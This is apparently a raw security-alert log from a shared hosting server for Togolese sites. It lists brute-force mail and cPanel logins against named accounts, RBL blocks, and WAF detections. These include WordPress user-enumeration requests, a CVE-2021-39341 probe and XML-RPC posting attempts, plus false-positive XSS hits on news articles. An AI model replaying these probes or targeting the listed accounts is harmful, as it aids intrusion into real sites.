139.99.170.109 - - [15/Jun/2026:11:42:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13082261&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781523753 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.50.216.71
country_id: 2661886
description:
[2026-06-15 11:43:51 +0000] info [cpaneld] 149.50.216.71 - Turbolte "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Turbolte (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-15 11:44:54 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:58124: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.185.173.167
country_id: 1814991
description:
Jun 15 11:44:35 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.185.173.167 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.185.173.167
country_id: 1814991
description:
2026-06-15 11:44:37 dovecot_login authenticator failed for H=(107-132-153-59.lightspeed.rcsntx.sbcglobal.net) [110.185.173.167]:60238: 535 Incorrect authentication data (set_id=dasha9198@atms.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.239.84.130
country_id: 2017370
description:
Jun 15 11:45:30 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.239.84.130 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.239.84.130
country_id: 2017370
description:
2026-06-15 11:45:32 dovecot_login authenticator failed for H=([200.107.163.195]) [83.239.84.130]:34037: 535 Incorrect authentication data (set_id=ayi@ekeasarl.com)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>le dynamisme \xc3\xa9conomique du togo s\xc3\xa9duit \xc3\xa0 nouveau les investisseurs de la sous-r\xc3\xa9gion. le tr\xc3\xa9sor public togolais a boucl\xc3\xa9, vendredi 12 juin dernier, une nouvelle op\xc3\xa9ration hautement r\xc3\xa9ussie sur le march\xc3\xa9 financier r\xc3\xa9gional de l\xe2\x80\x99union mon\xc3\xa9taire ouest-africaine (umoa), d\xc3\xa9passant ses objectifs initiaux.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>en qu\xc3\xaate de 35 milliards francs cfa pour soutenir ses projets de d\xc3\xa9veloppement, le tr\xc3\xa9sor public togolais a vu les propositions des investisseurs affluer. l'enveloppe globale mise sur la table par le march\xc3\xa9 a atteint le montant impressionnant de 89,4 milliards fcfa, soit un taux de couverture exceptionnel de 255,45 %.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31146,\"width\":\"634px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-30-724x1024.png\" alt=\"\" class=\"wp-image-31146\" style=\"width:634px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>face \xc3\xa0 cet engouement, le tr\xc3\xa9sor public a finalement retenu 38,5 milliards fcfa, une performance qui t\xc3\xa9moigne de la solide confiance des acteurs financiers dans la signature souveraine du pays.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>dans les d\xc3\xa9tails, l'op\xc3\xa9ration s'est appuy\xc3\xa9e sur des obligations assimilables du tr\xc3\xa9sor (oat) avec des maturit\xc3\xa9s \xc3\xa0 moyen et long terme, r\xc3\xa9mun\xc3\xa9r\xc3\xa9es sur des maturit\xc3\xa9s de 3, 5 et 7 ans, \xc3\xa0 des taux d\xe2\x80\x99int\xc3\xa9r\xc3\xaat respectifs de 6,15&nbsp;%, 6,35&nbsp;% et 6,50&nbsp;%.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>notons que le choix de diversifier les maturit\xc3\xa9s (3, 5 et 7 ans) permet \xc3\xa0 l'\xc3\x89tat togolais de lisser le remboursement de sa dette tout en s'adaptant aux diff\xc3\xa9rents profils d'investisseurs du march\xc3\xa9 de l'umoa.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>ce nouveau succ\xc3\xa8s vient gonfler les compteurs, car \xc3\xa0 ce jour, le montant total des fonds lev\xc3\xa9s par le togo s'\xc3\xa9l\xc3\xa8ve \xc3\xa0 181,5 milliards fcfa. le pays a ainsi d\xc3\xa9j\xc3\xa0 r\xc3\xa9alis\xc3\xa9 39,2 % de son objectif annuel, qui est fix\xc3\xa9 \xc3\xa0 463 milliards fcfa pour l'exercice en cours.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>la r\xc3\xa9daction</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.70.11.90
country_id: 1643084
description:
[2026-06-15 11:46:19 +0000] info [whostmgrd] 36.70.11.90 - anadebfreenetmas "POST /login?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>le dynamisme \xc3\xa9conomique du togo s\xc3\xa9duit \xc3\xa0 nouveau les investisseurs de la sous-r\xc3\xa9gion. le tr\xc3\xa9sor public togolais a boucl\xc3\xa9, vendredi 12 juin dernier, une nouvelle op\xc3\xa9ration hautement r\xc3\xa9ussie sur le march\xc3\xa9 financier r\xc3\xa9gional de l\xe2\x80\x99union mon\xc3\xa9taire ouest-africaine (umoa), d\xc3\xa9passant ses objectifs initiaux.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>en qu\xc3\xaate de 35 milliards francs cfa pour soutenir ses projets de d\xc3\xa9veloppement, le tr\xc3\xa9sor public togolais a vu les propositions des investisseurs affluer. l'enveloppe globale mise sur la table par le march\xc3\xa9 a atteint le montant impressionnant de 89,4 milliards fcfa, soit un taux de couverture exceptionnel de 255,45 %.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31146,\"width\":\"634px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-30-724x1024.png\" alt=\"\" class=\"wp-image-31146\" style=\"width:634px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>face \xc3\xa0 cet engouement, le tr\xc3\xa9sor public a finalement retenu 38,5 milliards fcfa, une performance qui t\xc3\xa9moigne de la solide confiance des acteurs financiers dans la signature souveraine du pays.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>dans les d\xc3\xa9tails, l'op\xc3\xa9ration s'est appuy\xc3\xa9e sur des obligations assimilables du tr\xc3\xa9sor (oat) avec des maturit\xc3\xa9s \xc3\xa0 moyen et long terme, r\xc3\xa9mun\xc3\xa9r\xc3\xa9es sur des maturit\xc3\xa9s de 3, 5 et 7 ans, \xc3\xa0 des taux d\xe2\x80\x99int\xc3\xa9r\xc3\xaat respectifs de 6,15&nbsp;%, 6,35&nbsp;% et 6,50&nbsp;%.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>notons que le choix de diversifier les maturit\xc3\xa9s (3, 5 et 7 ans) permet \xc3\xa0 l'\xc3\x89tat togolais de lisser le remboursement de sa dette tout en s'adaptant aux diff\xc3\xa9rents profils d'investisseurs du march\xc3\xa9 de l'umoa.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31157,\"width\":\"628px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/18d98b1d-0295-41c7-afab-fc9c13606bd0-724x1024.jpg\" alt=\"\" class=\"wp-image-31157\" style=\"width:628px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>ce nouveau succ\xc3\xa8s vient gonfler les compteurs, car \xc3\xa0 ce jour, le montant total des fonds lev\xc3\xa9s par le togo s'\xc3\xa9l\xc3\xa8ve \xc3\xa0 181,5 milliards fcfa. le pays a ainsi d\xc3\xa9j\xc3\xa0 r\xc3\xa9alis\xc3\xa9 39,2 % de son objectif annuel, qui est fix\xc3\xa9 \xc3\xa0 463 milliards fcfa pour l'exercice en cours.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>la r\xc3\xa9daction</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:11:49:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:11:49:06 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.200.6.38
country_id: 3469034
description:
Jun 15 11:49:37 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.200.6.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.194.142.167
country_id: 1814991
description:
Jun 15 11:50:09 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.194.142.167 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.98.41.27
country_id: 1269750
description:
Jun 15 11:49:37 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.98.41.27 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.194.142.167
country_id: 1814991
description:
2026-06-15 11:50:11 dovecot_login authenticator failed for H=([112.194.142.167]) [112.194.142.167]:38764: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.143.235.118
country_id: 1835841
description:
Jun 15 11:49:54 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.143.235.118 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-15 11:51:06 +0000] info [webmaild] 196.171.46.177 - contact@togointerim.net "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.51.44.46
country_id: 798544
description:
Jun 15 11:51:06 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.51.44.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.173
country_id: 1269750
description:
Jun 15 11:51:07 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.184.85.167
country_id: 3469034
description:
Jun 15 11:50:19 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.184.85.167 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.200.6.38
country_id: 3469034
description:
Jun 15 11:50:19 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.200.6.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.227.242
country_id: 1269750
description:
Jun 15 11:50:35 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.227.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.75.215.245
country_id: 1269750
description:
Jun 15 11:51:08 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.75.215.245 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.194.142.167
country_id: 1814991
description:
Jun 15 11:51:00 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.194.142.167 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.184.85.167
country_id: 3469034
description:
Jun 15 11:51:31 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.184.85.167 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.239.84.130
country_id: 2017370
description:
Jun 15 11:51:47 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.239.84.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.200.6.38
country_id: 3469034
description:
Jun 15 11:52:11 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.200.6.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.22.48.19
country_id: 2017370
description:
Jun 15 11:52:11 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.22.48.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.75.215.245
country_id: 1269750
description:
Jun 15 11:51:55 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.75.215.245 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 66.76.106.13
country_id: 6252001
description:
Jun 15 11:52:08 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 66.76.106.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.239.84.130
country_id: 2017370
description:
Jun 15 11:52:38 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.239.84.130 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-15 11:53:13 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:33608: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.129.64.214
country_id: 6252001
description:
2026-06-15 11:54:15 dovecot_plain authenticator failed for H=(33sd8yh9pst3vmet2r9cn9a2847x) [23.129.64.214]:46375: 535 Incorrect authentication data (set_id=wilfried.t@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.115.219.90
country_id: 1814991
description:
Jun 15 11:54:54 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.115.219.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.115.219.90
country_id: 1814991
description:
2026-06-15 11:54:56 dovecot_login authenticator failed for H=([103.147.248.44]) [49.115.219.90]:50488: 535 Incorrect authentication data (set_id=elogdoyoih@otr.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.0.117.79
country_id: 3469034
domain: derou.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/derou.tg/contact HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:11:56:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7379353&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781524575 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:11:56:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6331336&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781524571 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 102.64.220.79
country_id: 2363686
domain: togodailynews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.17||T:APACHE||MV:/wp-json/wp/v2/users?context=view&search=gmail.com&_locale=user||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 163.198.111.25
country_id: 953987
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:163.198.111.25||TA:163.198.111.25||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-15 11:56:40 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:44088: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 205.169.39.15
country_id: 6252001
domain: ucao-uut.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/127.0.6533.119 Safari/537.36||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.32.184
country_id: 298795
description:
Jun 15 11:58:03 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.32.184 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 185.132.179.31
country_id: 2750405
domain: snb.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:72769.snb.tg||ServerName:snb.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:64cf8a8360149b75074f419ecbf7a0e38dc27b4e||Title:0xd4aa95fe||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-15 11:59:12 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:56184: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 91.132.198.12
country_id: 6252001
domain: www.letabloid.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:andreaslerma410||Email:andreas.andreas@cebovi.greenweed.sbs||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77142124
name: IM360 WAF: Track WordPress registration flood
abuser: 91.132.198.12
country_id: 6252001
domain: www.letabloid.tg
description:
IM360 WAF: Track WordPress registration flood||WPU:||RSV:8.17||T:APACHE||MVN:ARGS:action||MV:register||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.169.24.40
country_id: 2363686
domain: togomedia24.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.17||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||


plugin: modsec
rule: 77317977
name: IM360 WAF: Sensitive Information Disclosure in OptinMonster plugin for WordPress (CVE-2021-39341)
abuser: 196.169.24.40
country_id: 2363686
domain: togomedia24.tg
description:
IM360 WAF: Sensitive Information Disclosure in OptinMonster plugin for WordPress (CVE-2021-39341)||RSV:8.17||T:APACHE||User:ecukpqcm||


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 40.114.79.135
country_id: 6252001
domain: www.gstock.soena.tg
description:
IM360 WAF: Request body parsing error||err_msg:Multipart parsing error: Multipart: No boundaries found in payload.||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 40.114.79.135
country_id: 6252001
domain: www.gstock.soena.tg
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.15.170.24
country_id: 3175395
description:
2026-06-15 12:01:31 dovecot_login authenticator failed for H=host024-170-015-185.retemetis.net [185.15.170.24]:44959: 535 Incorrect authentication data (set_id=test@arse.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-15 12:03:00 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:50588: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: www.securite.cloud-et-racks.tg
description:


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.50.216.71
country_id: 2661886
description:
[2026-06-15 12:02:27 +0000] info [cpaneld] 149.50.216.71 - Turbolte "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Turbolte (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:12:04:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:12:04:50 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-15 12:05:09 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:60842: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 27.75.124.28
country_id: 1562822
description:
[2026-06-15 12:05:37 +0000] info [cpaneld] 27.75.124.28 - togoinrdceh "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.169.24.40
country_id: 2363686
domain: togomedia24.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<span style=\"font-family: verdana, geneva, sans-serif;\">quelques jours apr\xc3\xa8s la r\xc3\xa9union de haut niveau du 18 avril, le togo a officiellement lanc\xc3\xa9 sa strat\xc3\xa9gie togo-sahel 2026-2028. cette feuille de route ambitieuse place lom\xc3\xa9 comme un pont entre le sahel et la communaut\xc3\xa9 internationale. elle repose sur cinq piliers principaux, dont le dialogue politique avec l\xe2\x80\x99alliance des \xc3\x89tats du sahel (aes).</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">le ministre des affaires \xc3\xa9trang\xc3\xa8res, robert dussey, a insist\xc3\xa9 sur le r\xc3\xb4le de m\xc3\xa9diateur que le togo souhaite jouer. des d\xc3\xa9l\xc3\xa9gations du mali, du burkina faso et du niger ont salu\xc3\xa9 cette initiative, vue comme une opportunit\xc3\xa9 de coop\xc3\xa9ration concr\xc3\xa8te au-del\xc3\xa0 des divisions r\xc3\xa9gionales.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">cette strat\xc3\xa9gie intervient dans un contexte de tensions persistantes au sahel, avec des besoins urgents en mati\xc3\xa8re de 